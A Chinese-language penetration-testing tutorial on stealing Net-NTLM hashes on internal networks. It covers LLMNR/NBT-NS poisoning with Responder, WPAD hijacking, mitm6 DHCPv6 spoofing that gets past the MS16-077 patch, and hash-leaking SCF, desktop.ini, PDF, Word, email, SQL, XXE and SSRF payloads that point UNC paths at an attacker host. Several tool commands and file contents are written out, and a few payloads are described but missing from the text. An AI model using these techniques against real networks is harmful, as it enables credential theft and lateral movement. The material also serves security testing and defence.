通过控制内网主机发送NTLM请求，我们可以使用responder等工具截获主机用户的Net-NTLMHash，此Hash虽然不能进行哈希传递，但是有了Net-NTLMHash之后，我们可以对Net-NTLMHash进暴力破解、或重放，从而实现内网的横向渗透
Responder工具
kali自带此软件
链路本地多播名称解析（LLMNR）是一个基于协议的域名系统（DNS）数据包的格式，使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时，DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称，直到网络连接恢复正常为止。
LLMNR的工作过程
当一台主机想要访问到另一台主机时，主机在自己的内部名称缓存中查询名称，如果在缓存中没有找到名称，那么主机就会向自己配置的DNS服务器发送查询请求，如果主机没有收到回应或收到了错误信息，即DNS解析会失败，那么就会转为使用LLMNR链路本地多播名称解析。
使用链路本地多播名称解析时，主机会通过UDP向局域网内发送多播查询，查询主机名对应的IP，查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后，收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是，这台主机会回复自己IP地址给请求该查询的主机；如果不是，则丢弃该请求。
Windows系统名称解析顺序(win10和win7有不同表现)
1.本地hosts文件（%windir%\System32\drivers\etc\hosts）
2.DNS缓存，windows可使用命令ipconfig/displaydns查看
3.DNS服务器
4.链路本地多播名称解析（LLMNR）和NetBIOS名称服务（NBT-NS）
也就是说，如果在缓存中没有找到名称，DNS名称服务器又请求失败时，Windows系统就会通过链路本地多播名称解析（LLMNR）和Net-BIOS名称服务（NBT-NS）在本地进行名称解析。这时，客户端就会将未经认证的UDP广播到网络中，询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证，并且广播到整个网络，从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播，攻击者可以伪装成受害者要访问的目标机器，并从而让受害者交出相应的登陆凭证。
早期SMB协议在网络上传输明文口令，后来微软进行了改进推出了NTLMv1会话协议，由于NTLMv1也很脆弱，所以后来就有了NTLMv2以及Kerberos验证体系，目前winserver2008及以后的windows版本默认均是使用NetNTLMv2的，默认使用NTLMv1的有2003、XP这些机器。
windows基于NTLM认证的有SMB、HTTP、LDAP、MSSQL等，responder可以通过模拟正常的SMB协议从而获得受害机器的NTLMV2hash值，NTLMv2不能直接应用于PassTheHash攻击，只能通过暴力破解来获取明文密码。而攻击者获取NTLMv1hash后，可以直接还原出NTLMHASH，这样的话就可以将NTLMHASH直接用于PassTheHash攻击，相较于NTLMv2还需要破解才能利用更加不安全。
NetBIOS和LLMNR在WindowsVista以后的系统中均实现，二者的主要区别在于：
1）NetBIOS基于广播，而LLMNR基于多播；
2）NetBIOS在WindowsNT以后的所有操作系统上均可用，而只有WindowsVista和更高版本才支持LLMNR；
3）LLMNR还支持IPv6，而NetBIOS不支持，因此，在启用了IPv6，但对IPv6管理不如IPv4那样细致的复杂网络中，就可能发生更广泛的攻击。
先在kali设置监听，并且要和目标在同一个网段下
当受害者访问一个不存在的资源时，如果本地缓存不存在，又无法通信，则会在会通过LLMNR和NetBIOS，在局域网中进行搜索。
dir\\dc\c$此时攻击者的responder便收到了受害者用户的Net-NTLMHash
除了netuse之外，还有下列命令可以使responder获得NTLVV2hash。
停止Responder后，在安装目录的logs文件夹下，会为每个service-proto-IP生成唯一的文件
一个PAC文件包含一个形式的函数“FindProxyForURL(url,host)”。这个函数返回一个包含一个或多个访问规则的字符串。用户代理根据这些规则适用一个特定的代理器或者直接访问。当一个代理服务器无法响应的时候，多个访问规则提供了其他的后备访问方法。浏览器在访问其他页面以前，首先访问这个PAC文件。PAC文件中的URL可能是手工配置的，也可能是通过网页的网络代理自发现协议（WebProxyAutodiscoveryProtocol）自动配置的。
PAC文件举例
代理自动配置文件(ProxyAuto-Config，PAC)，定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用PAC，我们应当在一个网页服务器上发布一个PAC文件，并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。
在浏览器设置为“自动检测代理设置”的情况下，用户在访问网页时，首先会查询PAC文件的位置，然后获取PAC文件，将PAC文件作为代理配置文件。查询PAC文件的顺序如下：
1.通过DHCP服务器
2.查询WPAD主机的IP
LLMNR/NBNS投毒就是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件，PAC文件指定攻击者就是代理服务器，然后攻击者就可以劫持受害者的HTTP流量，在其中插入任意HTML标签从而获得用户的Net-NTLMHash。
首先先打开监听
responder-Ieth0-ron-v-Fon-won首先浏览器要设置
win7默认会尝试通过LLMNR、NBNS协议解析域名，那么win7输入错误域名后会被欺骗并解析到kali，随后responder会要求NTLM认证，受害机器就会发送hash值。
win7打开网页时会显示
输入账号密码后返回哈希值
经测试，win7下，ie弹窗可抓可抓，谷歌浏览器不弹窗，火狐弹窗可抓
然而我在windowsserver2012测试的时候遇到了问题，我确实抓到了哈希值，但是并非是每次都可以抓到，同时也没有弹窗提示要求输入凭证，我尝试同样用火狐浏览器，但是win7可以，windowsserver2012就不可以，然后我尝试使用windowsserve2008，发现2008在下载火狐的时候就已经弹窗并且抓到了，说明2012抓不到很肯能是系统版本的问题
微软在2016年发布了MS16-077安全公告，添加了两个重要的保护措施，以缓解这类攻击行为：
1.系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。
2.更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
可以看到这次的补丁包为KB2919355，而2012刚好有打
但是这个修补是可以绕过的
首先先针对第一条绕过
1.系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。回顾一下查询PAC文件的顺序
1、通过DHCP服务器
2、查询WPAD主机的IP
可以发现，系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP选项或DNS协议完成该任务，就确保了不能通过LLMNR/NBNS投毒的方式，但是可以通过DHCP和DNS协议还可以获取到pac文件，然而，DHCP和DNS都有指定的服务器，一般来说入侵者不可控，但是除了IPV4，还有IPV6，从WindowsVista以来，所有的Windows系统（包括服务器版系统）都会启用IPv6网络，并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。
DHCPv6协议中，客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器，组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。
DHCPv6四步交互过程，
由此可知，最后的Relay信息中包含了确认地址，委托前缀和配置（如可用的DNS或NTP服务器），在可以使用IPV6的前提下，入侵者可以收到其他机器的DHCPv6组播包，就可以目标的DNS服务器设置为入侵者的IPV6DNS服务器，然后目标立刻查询网络的WPAD配置由于这些DNS查询是发送给攻击者的，此时攻击者便可以使用自己的IP地址作为WPAD对应的IP地址。
首先先查看本机的网卡信息，并且找到ipv6地址
可以先观察一下目标主机的DNS服务器
然后使用mitm6监听DHCPv6流量
mitm6-dg1ts.com-ieth0当受害者机器重启或重新进行网络配置（如重新插入网线）时，将会向DHCPv6发送请求获取IPv6配置。这个时候mitm6将回复这些DHCPv6请求，并在链接本地范围内为受害者分配一个IPv6地址
这时再看目标的DNS服务器
和kali的ipv6一摸一样
针对第二条绕过
2.更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决，在访问pac文件的时候，我们没办法获取到用户的net-ntlmhash。其实默认responder就不想在这一步获取net-ntlmhash，他默认不开启，要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己，然后我们作为中间人。这个时候可以做的事就很多了。比如插入xsspayload获取net-ntlmhash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等。
在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己，当受害主机连接到我们的“代理”服务器时，我们可以通过HTTPCONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程，然后回复HTTP407错误（需要代理身份验证），这与401不同，IE/Edge以及Chrome浏览器（使用的是IE设置）会自动与代理服务器进行身份认证，即使在最新版本的Windows系统上也是如此。在Firefox中，用户可以配置这个选项，该选项默认处于启用状态。
使用方法绕过后再次访问不存在的页面，发现可以抓到哈希值了，但是这里又存在一个问题，使用火狐浏览器抓不到，最终是用ie抓到的
文件夹内会有一个隐藏文件，叫desktop.ini用来指定和存储文件夹图标之类的个性设置，如果不存在，则可以更改该文件夹的图标，则会在文件夹内生成一个desktop.ini文件，如果还是不显示，则检查是否查看隐藏文件设置配置正常
在文件中还有一个连接，如果修改链接为攻击者的主机或者为一个不存在的主机(但是经测试，输入一个不存在的主机无法抓取到hash，输入攻击者的主机则可以)
当用户访问此文件夹时会去访问UNC路径,我们就能获取用户的net-ntlmhash
SCF文件是“Windows资源管理器命令”文件，它也是一种可执行文件，该类型文件由WindowsExplorerCommand解释。
当一个文件加中含有scf后缀的文件时，由于scf文件包含了IconFile属性，所以Explore.exe会尝试获取文件的图标。而IconFile属性是支持UNC路径的，所以我们也可以通过这里的IconFile属性截获受害者的Net-NTLMHash
在某一文件夹下写入scf文件，内容如下
[Shell]Command=2IconFile=\\主机ip\scf\test.ico[Taskbar]Command=ToggleDesktop然后用户访问此文件夹，就可以通过Responder获取Hash
当windows是激活状态时，就可以更换头像，更换头像时路径输入攻击者的ip，就可以获取到Hash，虽然会弹窗，但是弹窗之前就已经获得了Hash
用普通用户的权限指定一个webadv地址的图片，如果普通用户验证图片通过，那么SYSTEM用户(域内是机器用户)也去访问，并且携带凭据，我们就可以拿到机器用户的net-ntlmhash，这个可以用来提权。
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能，请求远程SMB服务器的文件。
此脚本可以将正常的pdf转换为恶意pdf文件，以盗取哈希
python./WorsePDF.pytest.pdf192.168.200.4worsepdf.py[filename][攻击者ip]然后就会在文件夹生成一个文件
我们只需要将pdf上传到目标机器，然后让用户打开此文件即可
经测试，使用edge、火狐浏览器打开pdf文件无法获取到哈希，使用adobereader打开的pdf可以正常获取到哈希
首先先新建一个word文档，然后在里面复制一个图片，保存后用压缩软件打开此文档
进入word/_rels目录，修改document.xml.rels文件。找到刚才插入的图片所对应的Target参数
将其修改为一个任意的UNC路径，并加上一个TargetMode="External"属性
保存后退出，然后改回后缀，让目标电脑用户打开文件即可获得哈希
经测试，wps可以获取hash，word不知道是不是我是试用版的问题并没有接收到
发送邮件是支持html的，而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
使用条件：
使用LOAD_FILE函数，该函数支持该函数支持远程加载及支持UNC路径
把payload改成
在xxe里面加载外部文件的时候，如果路径支持unc路径的话，是能拿到net-ntlmhash的。
这里使用javajavax.xml.parsers进行测试,测试代码如下
DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance();DocumentBuilderdb=dbf.newDocumentBuilder();Documentdoc=db.parse(request.getInputStream());SSRFphp代码：
/ssrf.phpurl=file://192.168.200.4/sourceJAVA的HttpURLConnection：
各个语言触发XXE和SSRF的实现不同。同一门语言也有不同的触发方式，这里并没有一一测试。
staticclassDefaultNTLMAuthenticationCallbackextendsNTLMAuthenticationCallback{@OverridepublicbooleanisTrustedSite(URLurl){returntrue;}}在xxe和ssrf测试中一般要测试这两个方面
3.支不支持UNC路径，比如\\ip\x或者file://ip/x
4.支不支持HTTP(这个一般支持),是不是需要信任域，信任域是怎么判断的